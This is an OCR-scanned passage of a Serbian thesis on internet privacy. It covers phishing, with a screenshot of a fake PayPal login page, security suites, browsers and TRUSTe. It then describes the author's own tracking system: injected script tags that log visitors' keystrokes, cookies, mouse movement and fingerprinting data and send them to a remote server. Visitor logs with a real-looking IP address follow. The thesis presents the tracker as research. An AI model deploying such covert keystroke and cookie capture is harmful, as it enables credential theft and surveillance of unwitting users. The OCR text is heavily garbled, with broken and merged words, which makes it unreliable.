stvaranja odrdenog seta informacija na osnovu toga do pémad pronalazenju mogiih
varijanti njegovih lozinki jer ljudi n&e&e svoje lozinke biraju na osnovucega Sto
dobro poznaju ilicesto koriste. Tako na primer ukoliko neko utvrdi @sto poséujete
online prodavnicu hrane za pse ili iga#ta za ljubimce, i na primer ukoliko im je poznat
vaS email ili korinkko ime na nekoj socijalnoj mrezi ste postavili slkaseg ljubimca na
kojoj ste takde naveli njegovo ime, testiranjem se moze utvdiitje vaSa lozinka upravo
to ime ili neka varijacija Sto umnogome moze olakSetiji posao i trud koji bi bio ulozen
u pogaanjanje lozinke sa reda nekoliko nedelja na redhabliko sati. Ovo naravno ne
vazi u svim situacijama i navike svake osobe swatije ali Sto se viSe podataka i
informacija prikupi o pojedincu, to se dublje mgitedreti u njegovu psihu i na nekida
predvideti naredni koraci.
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2.1.2.2 Prikupljanje podataka putem kopija stranica (Phishing)

Phishingpredstavlja pokuSaj prikupljanja tajnih informackao 5to su koristka
imena, lozinke, brojevi kreditnih kartica, preddjanjem tj. maskiranjem jedne stranice
tako da podsa ili bude virtuelno identna nekoj drugoj internet strani. Nage kopirane
stranice su stranice socijalnih mreza, email pidea, banaka, sajtova za onlinecplaa i
sl. Phishingemail poruke takde mogu sadrzati u sebi i viruse ili drugi malveii lse
njihovim otvaranjem instalira i pokie na rdunaru. Najefe metode dostave
krivotvorenih linkova su email poruke ili u poslgdivreme sve€e&i metod komunikacije,
instant poruke kao Sto $tacebook Messengdtoogle Hangoutssl. Takve poruke sadrze
linkove ka stranicama idefhog izgleda i sadrzaja kao i stvarne stranice n@aniao
korisnici vrlo ¢esto unose svoje podatke ni ne sumidjafla svoje podatke predaju u

pogresne ruke.

& | Log In - Microseft Infernet Explorer

Fls Fdt  dlew Favorkes Tooks  Help i

 Qexk - O B @G Psexch Srrwores @ -5 S-LES 3

! ageirass | ) hetp: ffuser-cgi.comfpaypaliwebscr php?cmd=Vakdate v| 50

. JMTCREFT - Services - g (Elocked) New Site Rank: 621611 Site Report M [LIS] Inkboms Corparation
= : —
Pa.yPaI Sign Up|Log in|He

wWelcome Send Money | Reqguest Money Merchant Tools Auction Tools

The email address you have enterad does not match our records. Please
try again. If you're not sure you have a PayPal account, you can try to sign
up again.

Member Log In Securs Log In =

registered wusers log in hers, Ba sure to protect your password,

Email Address; Forget your email address?

Password: Earont veke BEsrwsrd

Mew users sign up here! It only takes a minute.

Slika 8 — Primer falsifikovane stranice paypal ptaj sistema
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3 Teorijske osnove istrazivanj

3.1 Alati i softverska osnova

Pristup internetu korisnicima nudi unikatancimapristupa podacima i znanju. Na
njemu se mogu rta najrazicitije knjige koje se iné ne bi nasle ni u jednoj lokalnoj
biblioteci, moze se natii najrazlicitija roba bez potrebe da se ode do prodavnice o8ge
akcije povige za sobom ostavljanje nekakvog digitalnog otiskavidu IP adrese,
korisnickog imena, lozinke ili slika. Jedan ili viSe od bwwodataka moze biti tajan tj.
trebalo bi da ga znaju samo osoba koja ga dajebakoja ga prima radi autentifikacije,
ali ovo nage&e nije sli¢aj jer, iako koristan, internet moze biti pun zlorenih napadsa
koji mogu prisluskivati komunikacione kanale, imalirektan pristup rnaru putem
prethodno instaliranog virusa i/ili biti na samojeliv aplikaciji koja se posaje.
Proticanjem vremena i napredovanjem nauke i telgielevo postaje svecestalije tako
da nasi podaci postaju sve nesigurniji.

Najce&i n&in pristupa internet web aplikacijama obavlja setepu internet
pregledéa bilo mobilnih bilo putem onih na personalnin€uaarima. Na trziStu danas
postoji veliki izbor internet pregleda kao Sto su Google Chrome, Mozilla Firefox, Opera,
Internet Explorer, Safari i sl. Oni su samo jedao dehnologije koja nam omogava
pristup internet sadrzaju. Drugi deo predstavljggbnologije koje se koriste za izradu
samih web aplikacija. Tipha web aplikacija sastoji se 6dont-endsadrzaja tj. sadrzaja
koji korisnik ili posetilac vidi i Back-end (server sidg sadrzaja koji operira samim
sadrzajem, njegovim dodavanjem, divanjem ili brisanjem u ovaj deo se mogu svrstati i
baze podataka koje suastale, ali ne i obavezan deo web aplikadjeont-end deo
aplikacije izrauje se u tehnologijama kao Sto su HTMHyperText Markup Languaye
koji s&injava kostur stranica, CSSC4scading Style Shegtkoji upravlja izgledom i
vizuelnom predstavom stranica, JavaScript dajenisena interaktivnost i omogava
dvosmernu komunikaciju iznde korisnika i serveraBack-eng. Back-enddeo predstavlja
samu masinu ili virtuelni prostor na kome se nalaeb aplikacija. Postoji veliki broj
tehnologija koje se koriste u okviru back-end-gidan primer web server-a su Apache
web server, nginx web server i IIS web server (Wasl OS). Oracle, DB2, MySQL su
tipi¢ni predstavnici relacionih baza podataka mada g epularniji trend kori®enja
noSQL baza podataka kao 5to su MongoDB. Web seregistavlja sredstvo za serviranje

podataka dok baze podataka predstavijaju sredstvakiadiStenje podataka. Obradu
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podataka obavljaju programski jezici koji predtaydj most izméu prikaza i skladistenja.
Tipi¢ni predstavnici ove grupe su jezici kao Sto su GiC#, Java, Python, Ruby, PHP.

Najveli procenat web aplikacija zasniva se na kombin&ggche web servera, PHP
jezika i MySQL baza podataka koji omagyu prikaz statinih web stranica, skladiStenje
podataka i ogratenu interaktivnost sa korisnicima u kombinaciji BEML i CSS.
JavaScript dodaje moduoiost interaktivnosti u realnom vremenu. lako jeeraktivnost sa
korisnikom danas neophodna i prosto nezamenljiatakale uvodi i ve€inu problema i
moguwih propusta koji mogu dovesti do gubitka podatakadna tipina internet
prodavnica na primer mora sadrzati barem dva wazkorisnéke podatke i to prilikom
registracije na web aplikaciji i prilikom same kwpote kada se daju podaci o cirau
placanja. Ovi privatni korisiki podaci koje korisnik mora da ostavi kako bi mw b
dozvoljen pristup stranicama i omaguma kupovina, su u konstantnoj opasnosti da budu
ukradeni i eventualno zloupotrebljeni, Sto se miozeeti iz skorasnjih napada na servise
kao Sto su Adobe, Valve Steam i sl. u kojima swad&ni podaci od viSe desetina miliona
korisnika i koji sada kruze ,dubokom mrezongep Nek

Zastiti ovih podataka mora se pristupiti na samawoiiu i to od korisrikih formi
preko kojih korisnik unosi svoje tajne podatke. Keaisnicke strane, JavaScript se moze
iskoristi za kriptovanje podataka pri samom unosc#ju podataka i tako ih zastititi pre
nego Sto napuste korigki racunar. Da bi se podaci zastitili u samom transppdzeljno
je koristitit HTTPS HTTP Securk protokol koji Sifruje komunikaciju izmii servera i
korisnika tako Sto omogava korisniku da autentifikuje server sa kojim kaometra putem
sertifikata i sertikacionog tela od poverenja. Kga@aci stignu na server, sam server ne
zna da li je korisnik koji je te informacije poslatvarno onaj za koga se predstavlja npr.
prilikom logovanja, pa se svi pristignuti podacinaa filtrirati ili sanitizovati (,sanitizé&).
Tu funkciju obavlja PHP tako Sto validira sam padtatj. proverava njegovu formu i
poredi je sa predefinisanom formom u kojoj bi pe#tatrebalo da stigne. Npr. koréko
ime korisnika treba da sadrzi samo alfanutkerikaraktere, nije osetljiv nha mala/velika
slova i moze imati od 5 do 10 karaktera, to se npodgeriti upotrebom funkcije kao Sto je
bool ctype alnum ( string  S$text ) [ funkcije
int  strlen ( string  $sting ) ili pimenom regulamih izrazapreg_match ( '/[a-zA-
Z0-9}{5,10}/" , S$korisni  ¢ko_ime ); na ovaj naéin server se moze zastititi od
eventualnihXSSili SQL injectionnapada koji mogu dovesti do gubitkadkeakorisniékih
podataka.
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3.2 Alati | metode zastite

Razvojem tehnologije i po¢anjem mai i kapaciteta opreme koja je sve dostupnija i
dostupnija sve W&m broju ljudi, Sansa i prostor za povredu kotisaiprivatnosti postaje
sve veéa. lako se perfektna zasStita ne moze ppstidekvatna zastita koja nas moze
zastititi od véine moguih pretnji drzi korak sa pretnjama i postaje svetppanija
obicnim korisnicima. Prednost nap@daje naravno uvek neznanje samih korisnika, ali
svakako i skrivenost propusta u operativnim sistemi programima koji se koriste u
okviru njih, kao Sto mozemo videti na primeru slémjag otkrta propusta nazvanog
»Heartbleed, propusta u okviruOpenSSISSL protokola korisenog u okviru HTTPS
komunikacije koja je vazila za sinonim integritetajnosti osetljivih komunikacija izndei
udaljenih servera. Ovaj propust je barem za kraikeo pometnju na polju sigurnih
komunikacija i naterao velike kompanije da preggpitnivo zastienosti ne samo njenih
podataka véi podataka njihovih korisnika. Ubrzo po ovom otkrivelike kompanije su
objavile da su problem i propust resili, ali ne @avimo da se ovaj protokol koristi na
vedini web aplikacija koje imaju potrebu za odemom tajno&u podataka tako dae
oporavak svakako potrajati. Ovo samo pokazuje dekaswtvorevinacoveka moze biti
delimi¢no ili u potpunosti prevadena. Sa tim u vidu polje koje pokriva domen zastite
podataka proSiruje se skoro svakodnevno.

Mnoga reSenja nas danas wajeili manjoj meri Stite od poznatih i nepoznatih
pretnji. U neke od ovih proizvoda ubrajaju sdntegrnet SecuritySuites” (ISS) koji Stiti
celokupan sistem od internet pretnji kao i progr&woie se pokréu u njemu, a od skoro tu
mozemo svrstati i Browser Helper Objettspecificne ,dodatke“ za internet preglesa
koji potpomazu ISS i predstavljaju dodatni stepastite u okviru nasSih svakodnevnih

Internet sesija.
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3.2.1 Internet Security Suites (paketi programa za zastii na internetu)

lako se velika paznja mora obratiti na zaStitu pak na njihovom putu do
udaljenog servera kao i na samom serveru, na utipadada se u poslednje vreme sve
ce&e nalaze izvori tih informacija, korisiki racunari. Korisnici interneta, uglavnom zbog
neobavestenosti ili neznanja svoje€uaare ostavljaju neza&inim i time otvaraju put
napadau da instalira svoj softvetime ima otvoren put za kia podataka ili potpuno
preuzimanje ré&unara. U 2013. godini ukupan broj napada, u kogrmagroZzeno vise od 10
miliona identitea, pov@an je za ne tako malih 700% u odnosu na 2012. godnoj
ukradenih identiteta takie je povéan u 2013. godini

Breaches With More Than 10 Million Total _ Total Identities 8]
Identities Exposed Breaches Exposed

253 55;..12_,M”“0n

+62% +493%

e Identities Exposed / Breach 1

B > 181,891
1 +261%

Median Identities Exposed / Breach

il 6,777

Slika 9 — Razlika u broju napada u periodu 20123201

Korisnici moraju zastititi svoje tanare i u tome im mogu poréigoaketi programa
za zastitu na internetu ilinternet Security SuitésOvi paketi nafese sadrze antivirusne
programe, firewall programe, adware i anti-spyware zastitu, anonimno surfovanje
internetom i dr. Na trziStu se danas mozé& maliki broj ovakvih reSenja koja se uglavhom
razlikuju po broju dostupnih mogduoosti, pouzdanosti, zauae sistemskih resursa ali

svakako i ceni.

*Link:http://www.symantec.com/security_response/[mations/threatreport.jsp

-23-



Mihailo Mudrini¢ Evaluacija zaStite privatnosti na Internetu

JosS od sedamdesetih i osamdesetih godina prosSkagkeenpjuterski virusi su prvi
izbor svakog iole sposobnog hakera ili spamera,pravim rukama ti virusi mogu biti
kompletno nevidljivi, a opetdiniti veliku Stetu korisniku i sistemu na koji sestaliraju.
Oni omoguéavaju pristup poverljivim podacima, mogu prouzrokt\kraie identiteta i sl.
Ucestalijim korig€enjem programa koji mogu pristupiti kompjuterskinneztama i samim
ratunarima pojavila se potreba zac¢me Sto bi neutralisalo njihovo delovanje i uopste
detektovalo njihovo prisustvno na sistemu, samim tapravljeni su prvi antivirusni
programi. Moderni antivirusni programi prate kors& danasnjim virusima koégnjem
novih algoritama i heuristkih metoda za ranu detekciju i otklanjanje kakordih tako i
nepoznatih virusa. Neki od najpoznatijin softvand®rton SymantedMcAfee Kaspersky
Zone Alarmi dr.

lako su se pojavili u istom period&irewall programi su vrlocesto bili
zanemarivani, kao metodi zastite od napada, odesthénih korisnika.

Prva generacijazasnivala se na filtrianju paketa, tj. proverilevgindividualnog paketa i
rade na prva tri slova OSI modela.

Druga generacija zasnova se take na inspekciji paketa, ali za razliku od preth&édni
radi nacetiri sloja OSI modela, i zadrzava pakete sve dekdabije dovoljnu kofinu
informacija o paketu kako bi mogao da prosudi ga paket zléudan ili ne.

Treéa generacijadobija pristp aplikacionom sloju i dolazi do peaja same komunikacije
I ponaSanja aplikacija, a ne samo inpekcije poggdhiin paketa.

Cetvrta generacijaili , Slede‘a generacijd (Next-ged pored standardnih opcija sadrZi i
detekciju i prevenciju upada, magwst identifikacije korisnika (vezivanjem za MAGQ |l
IP adrese), kao i prevenciju komunikacije ka spoljastrane eventualnog melvera koji
postoji na sistemu i dr. Pored ova dva ,modula‘usi@sni paketi sadrze i softver za
detekciju i prevenciju rootkit napada, spyware inaStautomatsko osvezavanje
antivirusnih definicija, skeniranje email porukafw spama i virusa.

Nemaka kompanija AV-TEST predstavlja nezavisnu orgacijmakoja evaluira i
rangira antivirusni softver i sigurnosne paketegpama za Windows OS i Android OS
prema razliitim kriterijumima. Rezultati ovih istrazivanja abjljuju se na svaka dva

meseca.
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13 | tencent PL Manager 2t ar 5.7 B2 3 TEs
14 | Kingsoft Antivrus as 12 6.0 1.7 3 YES
14 |ThreatTrack | VIPRE Internet Security al iB 5.7 1.7 3 YES
15 | Morman Sccurity Suite Pro a7 2.8 4.3 0.8 3 YES
16 | K7 Computing | Total Security 2.7 315 4.3 10.5 3 YES
17 | Microscft Security Essentials oc 4.3 6.0 10.3 3 Base value
18 | Ahniab W3 Interret Security 0.E i3 5.0 92 3 [ 8]
Other protection packages with just one test
= | Check Point Zonealarm Free Antivinus + 2.5 4.5 6.0 13.0 1 YES
Firewall
— | Babdu Antivirus A 10 G.0 125 1 YES
= | FCKeeper Antivirus Pro 2.5 2.5 6.0 11.0 1 YES

Please note: Products with the same paints tatals are listed in alphabeacal crdzr; ThreatTrack is the veadar
farmerly known as GFI; Microsof resu £5 are only provided ac base values,

Slika 10 — Uporedni prikaz svih sigurnosnih paketghove ocene

® Link: http://www.av-test.org/en/news/news-singlew/win-xp-7-81-internet-security-suites-complete-a
endurance-test-lasting-6-months/
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3.2.2 Internet pregledaci (Web Browsers)

Sa aspekta izvoriSta korigkih informacija pored samog operativhog sistemanima
I internet pregledgée kao softver koji korisniku omogava pretrazivanje, pregled i
interakciju sa internet sadrZajima. Sigurnost opifograma je jednako bitha kao i
bezbednost operativhog sistema. Napadi u okvirernet pregleds mogu se izvesti na
razlicite n&ine, upotrebom JavaScript-a, neke forme X$f®gs-site scripting putem
Flash sadrzaja, kotiénjem neotkrivenih ili nezakrpljenih propusta u sanprogramima
ali i dodacima za same internet pregtedda Osnovni ciljevi napada na korigke internet
pregledée jeste zaobilazenje zabrane prikazivanjadgkia prozora sa reklamamadp
up), prikupljanje privatnih identifikujéih informacija radi krde identiteta ili marketinga,
praenja ponasanja korisnika protiv njegove volje,deranformacija vezanih za kreditne
kartice ili bankovne r&ne.

Razlkiti dodatci za internet pregletia kao Sto su Java plugiAciveX Adobe Flash
Adobe Reader sl. proSiruju povrSinu dostupnu napadaivodei svoje propuste u skup
ved postojéi propusta u samim pregletima bilo da su poznati ili nepoznati. Ali pored
ovakvih primera imamo i dodatke za pregkagl&oji svojim delovanjem Stite pregleda
pokrivaju eventualne rupe kroz koje se nagadi@ze provdi. U takve dodatke spadaju
virtuelne tastature koje omogavaju korisniku da koré&njem miSa unese poverljive
informacije Stitéi tako korisnika od eventualnikeyloggera (sistemskih ili u vidu
dodataka), dodatak za sanitaciju pregé@daipotrebom nasugmog gazenja sadrZaja
cachea i brisanjem privatnih podataka vezanih za wgtpbea, dodatak za prevenciju i
brisanje ,kol&i¢a” koji se koriste za svrhe @fenja, dodataka koji prikupljaju i prikazuju
informacije o reputaciji rezultata pretrage ilistici koja se poseje upotrebom vizuelnih
identifikatora u vidu ikone ili boje koja obaveStagia li je ta strana sigurnailineidalije
na njoj u blizoj proslosti bilo napaddM¢Afee site advisorje tipican primer ovakvog
dodatka), dodatak za sigurno bankarstvo koja swiktpri poseti stranicama banaka,
procesora plkanja i sl. detektuje da li su te strane pravealife namenjene prikupljanju
podataka, proverom stepena zaSH{ETF(S), sertifikata i sertifikacionog tela, proverava
da li operativni sistem ima neku od tipih propusta vezanih za internet bankarstvo, i nudi
otvaranje stranice u posebnim prozorima internegled&a dizajniranih za siguran i
anoniman pristup stranicama tako Sto posle svakgedariSe podatke vezane za sesiju i
samu sesiju i briSe ih iz istorije pregledanih sita, tiptan primer ovakvog dodatka je

Kasperski Protection : Safe Mondéjored ovih dodataka postoji i veliki broj dodatdiogi

- 26 -



Mihailo Mudrini¢ Evaluacija zaStite privatnosti na Internetu

onemogdavaju izvrSavanje JavaScript skripti sa domena Rgu prethodno odobreni i
dodati na belu listu pristupa.

3.3 Privatnost na internetu i njena zastita

lako je svest o internet privatnosti na veoma visoknivou, Sto se moglo videti iz
masovnih protesta organizovanih povod@®PACISPA razumevanje samog termina
privatnosti i pojma koji on predstavlja je na retab niskom nivou na Sta direktno &udi
trenutni trendovi kori&ni pri pravljenju i postavljanju ,polisa privatrtds na web
aplikacijama. Korisnici u velikom broju glajeva imaju ohkiaj da samo letindno
pregledaju ove dokumente koji seéutidistribucije njihovih podataka, i Sto dokument
izgleda organizovanije i ,pravnije“ to je Sansa é&a korisnik stvarno i protati taj
dokument manja. Ovo u kombinaciji sa sve opSirniglbkumentima i zahtevima za
njihovim prihvatanjem dovodi do situacije da kor@rnednostavno preska celokupan
dokument i jednostavno ga prihvatene upravljanje svojim informacijama u potpunosti
predaju kompaniji ili web aplikaciji koju su podetiUkoliko korisnik ima duzu istoriju
saradnje sa kompanijom ili web aplikacijom koju @age time je takde manja Sansa da
¢e taj isti korinik pregitati dodatke ili izmene koje se naprave u dokumerjednostavno
¢e ga prihvatiti bez dodatnog ulazenja u sadrza,.

Internet privatnost se ne svodi samo na tehnolaSkiekt kori&enja interneta i
mogute probleme koji proistu, kao Sto su korumpirani fajlovi, o§enje imovine i sl,
naruSavanje privatnosti moze i dadeaiz virtuelnog domena i da se preseli u stvaran
zivot. Tipicno razmiSljanje u domenu internet privatnosti iusavanja je da su zrtve
ovakvih napada n&¢e velike kompanije, ali skora istrazivanja pokaz(fymantec
Internet Security Threat Repdrtla je to potpuno pogreSno i da se pokazalo da su
individualni korisnici ¢e¥a meta napada sa trendom porasta udela u brojuerkia
identiteta. lako je na povrSini Internet i Interr@ivatnost visokoregulisana oblast sa
aspekta politike, u stvarnosti to se moza samo za mali deo celokupnog interneta koji se
naziva ,povrSinska mreza‘s@rface wep koji obuhvata samo mali deo globalne mreze
koju nazivamo internet, ¥edeo interneta koji je nedostupan &@bim korisnicima naziva
se ,duboka mreza‘deep wep koja predstavlja raj za internet kriminalce Kaojiriste ovaj
deo globalne mreze da bezbedno i potpuno anoniraameane ili prodaju ukradene
podatke.
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Google kompanija jecesto u proslosti bio meta napada zbog njihovogrieige
pristupa zastiti privatnosti. Mieitim 2007. godine oni su izasli pred Ujedinjene iidasa
predlogom da se u cilju bolje zastite privatnogsggulisanja pravila u ovoj oblasti napravi
globalna polisa privatnosti i da se trenutne poksge u posebnim oblicima postoje u
Americi i Evropi zamene jednom jedinstvenom polisdPmoblemi postojanja razltih
regulativa na razitim trziStima su u tome da se uglavnom poStovarjgine polise krSe
pravila druge pa istovremeno postojanje interneizpoda na viSe ragiitih trziSta postaje
gotovo nemogée. Marta 2012. godine Evropska unija je predstguiéllog zakona koji bi
trebalo da zastiti korisnike protiv @enja i ne autorizivanog kodénja njihovih privatnih
podataka. Ovaj predlog jasno definiSe termin ,gamapodatak” i kazne koje se uvode za
ugrozavanje privatnosti korisnika. Tale@ se posebno olki@ paznja na kompanije koje
obraiuju i koriste podatke i sankcije koje sleduju z&dnja regulativa. Ova regulativa
predata je Centru za Demokratiju i Tehnologiju andgvropske unije koji je objavio svoje
misljenje i analizu. Evropska komisija planira ler@ 2014. godine da da ovaj predlog na
izglasavanje.

lako se organizovanje u pogledu péameja nivoa zastite privatnosti u svetu vrsi
usporeno, u poslednjoj deceniji dosSlo je do razvogividualnog organizovanja u cilju

bolje zastite privatnosti podataka i korisnika.
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3.3.1 Green web pages — TRUSTe

CLOUD HOBILE

ASSESS CERTIFY HMOMITOR CONTROL

Data Privacy Management Platform

TRUSTge privatna organizacija koja se bavi zasStitonvgmnosti i najpoznatija je
po visoko rasprostranjenomdagu privatnosti, koji jednom postavljen na web legodiju i
potviden od strane kompanije ozfawa da web aplikacija ispunjava visoke standarde
postavljene od strane ove organizacije. Organi@acij svom poslovanju Kkoristi i
implementira sve regulative vezane za privatnggurnost korisrikin podataka od strane
zemalja Ameiikog, Evropskog i Azijskog regiona. Do sada su Bkotrali viSe od 5000
kompanija Sirom sveta kao Sto su Apple, DisneyyeBarbes, Linkedin i sl.

TRUSTeje osnovan 1997. god. kao neprofitna organizaogh strane EFF
(Electronic Frontier Foundationi CommerceNetConsortiumsa ciljem da pomogne
firmama i korporacijama kako bi samostalno regldigabrinutost korisnika o bezbednosti
njihove privatnosti. Sa ovim u vidu njihov prvi [@eod predstavlja program geta
privatnosti, kojim se organizacijama koje poStujdrze se strogo definisanih pravila i
pristaju da gestvuju u programu arbitraze eventualnih sporowdetjuje ,TRUSTE pecat
koji predstavlja vid opStepoznate garancije.

TRUSTeje 2000. god. postaldlan US-EU Safe Harbomprogramaciji je cilj
globalizacija pravila skladiStenja korigkih podataka i privatnosti kao i zaStita od
njihovog eventualnog otkrivanja ili gubitka.

2001. god.TRUSTeje postala organizacija koja direktno primenjujeecktive
postavljene WLCOPPA(Children's Online Privacy Protection ActAmerickom federalnom
zakonu, koji se bavi zastitom dece na internetikupfjanju personalnih podataka osoba
mladih od 13 godina. Od tada pored kiagig p€ata privatnosti ova organizacija nudi i
pecat privatnosti dece koji oznava da je web aplikacija sigurna za decu i da su sv

pravila definisana za zastitu osoba ditteod 13 godina ispoStovana.
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2008. god. ova organizacija menja strukturu i opraofitne organizacije prerasta u
proftnu organizaciju i jedan od prvih ulagaje firmaAccel Ventureskoja je ulagala u
firme kao Sto stracebookDropboxi sl

2013. god.TRUSTeje odobrena od straneDAA (European Interactive Digital
Advertising Alliancg kao jedno od zva#inih sertifikacionih tela za internet oglasavanje
zasnovanog na ponasanju korisnikeB@A - Online Behavioural Advertisipgiste godine
su imenovani od stran®PEC (Asia-Pacific Economic Cooperatipkao kompanija koja
sertifikuje pravila i smernice prilikom razmene onhacija izmédu 21 zemaljeclanice
(CBPR - Cross Border Privacy Ru)jasgkao ovlagena kompanija koja reSava konflikte koji
nastanu.

Pored samog davanjadata privatnosti kao jedinstvene oznake kojom seissig
da web aplikacija poStuje i prati smernice datestedneTRUSTe organizacija se bavi i
pratenjem da li se ta pravila stvarno i primenjuju tuseclanica. TRUSTge u te svrhe
pokrenuo takozvaniWWatchdog program koji prihvata zalbe korisnika i shodndasiu
istrage sprovodi ragiite mere Sto je i objavio u periodu od 2000. do 200 svom
»Watchdog izvestaju. lako jeTRUSTedominantno lice na polju zaStite privatnosti sjeori
istrazivanja od strane nezavisnih organizacija jegioaca pokréu pitanje integriteta
.profitne* organizacije jer se u praksi pokazalo wab aplikacije koje su pod okriljem
petata privatnosti 50% sklonije krSenju polise privadi (Dr. Benjamin Edelman -
Harvard Business Schqgolkao i pitanje da li se ovoj organizaciji uop$t@ze verovati
s'obzirom da je broj kaznjenih prekrSilaca zanejvarlmali (2002. Wired Magazinei
2008.Galexia Consulting
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4 Razvoj sopstvenog eksperimentalnog okruzenja za gupljanje
podataka

Eksperimentalno okruzenje za prikupljanje podataksadeno je upotrebom
programskih jezika PHP i JavaScript, kéeBa baza podataka je MySQL, dok se sadrzaj
ispisuje upotrebom HTML i CSS-a. Sam sitem se zasma prikupljanju podataka
korisnika preko web aplikacije ili stranice koja pesmatra upotrebom malog koda tj.
snippeta koji se na vrlo lak rgn moze ubaciti na jednu ili viSe stranica kdjae web

aplikaciju.
scrlpt sro="/assets/scripts/iguery . se] pt
script sre="/assets/scripts/jouery. mousenheel min.§53¢ k
script src="fassets/scripts/jguery.jscrollpane.min.
script sre="/assets/sceipts/iquery.autosize-min.sic 5 5
script sre="pttp://eichae]. devoyphicr, com/widoat /wide. 157 +</script
script asyne sro="http://michzel . deveypher comfwidget fdatas 2callback=10uary2B3838353053 808409d8visit kev=dfib
gad

¥ <ho

wrap-bg wrap-landing-siider”

Slika 11 — Primergnippe} koda koji se dodaje stranicama
4.1 Nadcini prikupljanja i obrade podataka

Programski kod mathom serveru Salje podatke o korisniku koji poge tu
stranicu. Pri inicijalnoj poseti stranici, bilo dktno ili indirektno (klikom na link sa neke
druge stranice ili druge web aplikacije), Saljups@laci o korisniku koji su relevantni za
samu posetu i koji se ne menjaju dok traje trunwgasija (dok se ne ugasi internet
pregledd ili dok se ne poseti neka druga strana).

Na ovaj mogu se prikupiti podaci o korigkem sistemu ili rdunaru u vidu IP
adrese, geografske lokacije korisnika, noviji pegigti u sebi sadrze i tae informacije o
zatim mozemo dobiti podatak o tome da li korisrakigti mobilnu platformu ili ne, koja je
rezolucija korisnikog ekrana, ime i verziju operativhog sistema, imerziju korisntkog
internet pregleds. Pored ovih podataka mogu se prikupiti i podaad Ito su lista
dodataka instaliranih u okviru pregléda listuFont-ova koji su instalirani na ¢éanaru, da
li je korisnik ulogovan na neku od socijalnih mrezatim ukoliko je korisnik odobrio

upotrebu Java-e u okviru svog preglkEianogu se dobiti dublji podaci o0 samomuaaru i
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harverskoj konfiguraciji. Ovo je stéki deo sistema, dok dinatki deo sistema prikuplja
dodatne podatke koji se menjaju sa vremenom i ggno Salje iste na ma&mi server.

U ove podatke mogu se svrstati promene nastalal ksldsnikog unosa kao i
duzina same posete odemoj stranici ili web aplikaciji. Pt@nje korisntkog unosa
funkcioniSe po principu dodavanja novkgypress everat (dogdaja koji se aktivira kada
se na stranici pritisne taster na tastaturi) kagiensnimaju uneti karakteri i periédb
prosleiuju. Uz informacije 0 samom unosu mogu se prikugibdaci o elementu u kome
je unos izvrSen, njegovo ime, tip i sl. Ovo u pincpredstavlja vikeyloginga i koristi se
iskljucivo u istrazivéke svrhe. Pored unosa peritiad se mogu prikupiti cookieji tj.
kolaci¢i 1 njihova eventualna promena u odnosu na pretbathbelezenu vrednost. JoS
jedan od zanimljivih podataka predstavlja i kregakgrisntkog kursora (kretanja misa po
ekranu). Sa daljim razvojem tehnologije, iako seamao sigurnost samih pregleda
konstantno pow@va, otvara se mognost prikupljanja vé&h koli¢ina podataka kao 5to su
glas i lik korisnika nesmotrenom upotrebom novilvaRcript servisa za kontrolu web

kamera i mikrofona.

| Teallback=jQuery203030353953572921455_ 1400536525701 &url=http

| Teallback=jQuery203030353953572921455_1400836525701 &url=http?:3A%2F%2Fa
Teallback=jQuery203030353953572921455 1400836525701 &url=http3e3ASe2Fi2Far |

Teallback=]Query203030353953572921455_1400836525701 &url=httpe3A%2Fie2Fi
Teallback=jQuery203030353953572921455_1400836525701 &url=http%e3A%:2F%2Fa
Teallback=)Query203030353953572921455_1400836525701 &url=http?

Teallback=)Query203030353953572921455_ 1400836525701 &url=httpie3a

Teallback=]Query203030353953572921455_1400836525701 &url=http*3A%2F%2Fa |

Trallhack=i0usn20303NIFIASIETIATA55 ANORIASISTO Arurl=hH 03 A% 0F32Fa

Jnet?e2F&wef=&key=2dbd3305197feld c6b5f37€7c500849dawisit_key| hitp://michael.d

.net2Faref= Bikey=2dbd330519ffe1905b5137 7 c500849 dawisit_key| ‘callback=jQuery20
) . o d3f3206eacOhatdal
\netsaFaret= Gikey=2dhd3305197 610 655137 €7 e500849d avisit_keyt

\net32Féref= Gkey=2dbd330519ffe12c6b5137 €7 500849 d&wisit_key=dfibbf6ad0d26d3f320f6eacdbaddal clikey |
nete2Faref= Gikey=2dbd330519ffel9chb 537 e7 c500849ddwisit_key=dflbbfeadid2ad3f320faeacdbaddal chkey_|
net3e2Faref= Glkey=2dbd330519fe19 c6b5T37 &7 £500849 dawisit_key=dflbbfead0d26d3f320f6eacbaddal clkey_|
y.nettdFaref= Gkey=2dbd330519ffe19 6 b 5137 €7c50084 2 d Awisit_key=dflbbféad0d26d3f320féeacdbaddalclkey |
jnet¥t2Faref=Alkey=2dbd330519ffe136h5f37 e7 (500849 davisit_key=dfi bbfead0d26d3f320f6eacdbaddal cakey |

LnetSLIFRraf= Rav=2dhd33051 9fe1 QA h ST T eSNNR4A dAvicit kev=dff hhfRad(d?A d3FI20fRrarhaddal cfikeyv |

http://michael.devcypher.com/widget/data/

Teallback=jQuery

539535

d3f320f6eacdbaddal cBekey log=8_=1400836525703

455_1400836525701 Blurl=http 23 ASIF3LIF

net%2F8iref=Bikey=2dbd330519ffel9cbb5f37 7500840 dBuvisit_key=dfl bbfbadld26

Slika 12 — Periodno slanje informacija ka m&tiom serveru

Sistemi skéni ovom su vé duze vreme u upotrebi u vidu Google Analytics serv

HiStats, AvaStats i sl. Koji nude detaljnu analpmseta na pojedigaim stranicama ali i
celokupnim web aplikacijama. Analitika i analizaspta predstavlja samo deo informacija
koje se mogu generisati. Sam eksperimentalni sigerjos uvek u fazi prikupljanja
podataka i ima veoma ogr&ane moganosti generisanja informacija, ali se daljim
razvojem svakako moze nadograditi i generisatikvéiroj informacija vezanih za samog

korisnika, organizaciju u kojoj korisnik radi ilrgpe ljudi iz odréenog podrgja.
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IP: 24135 ¢ GU ==
Reverse: cable-24-135-7-60 dynamic sbb.rs

Exit 20:40:13 22/05/2014
Length: Instant

Chrome 36.0.1985.18 Win 7 x64 Mo

IP: 24 135.7.60 ==
Reverse: cable-24-135-7-60.dynamic.sbb.rs

Entry: 20:40:15 22/05/2014
Exit 20:40:15 22/05/2014
Length: Instant

Chrome 36.0.1985.18 Win 7 x64 Mo

IP:24.135.7.60 ==
Reverse cable-24-135-7-60 dynamic sbb rs

Entry: 20:40:18 22/05/2014
Exit 20:40:51 22/05/2014
Length: 33 s

Chrome 36.0.1985.18 Win 7 x64 Mo

IP: 24 1357 60 ==
Reverse cable-24-135-7-60 dynamic sbb rs

Entry: 20:41:00 22/05/2014
Exit 20:41:00 22/05/2014
Length: Instant

Chrome 36.0.1985.18 Win 7 x64 No

IP: 241357 60 ==
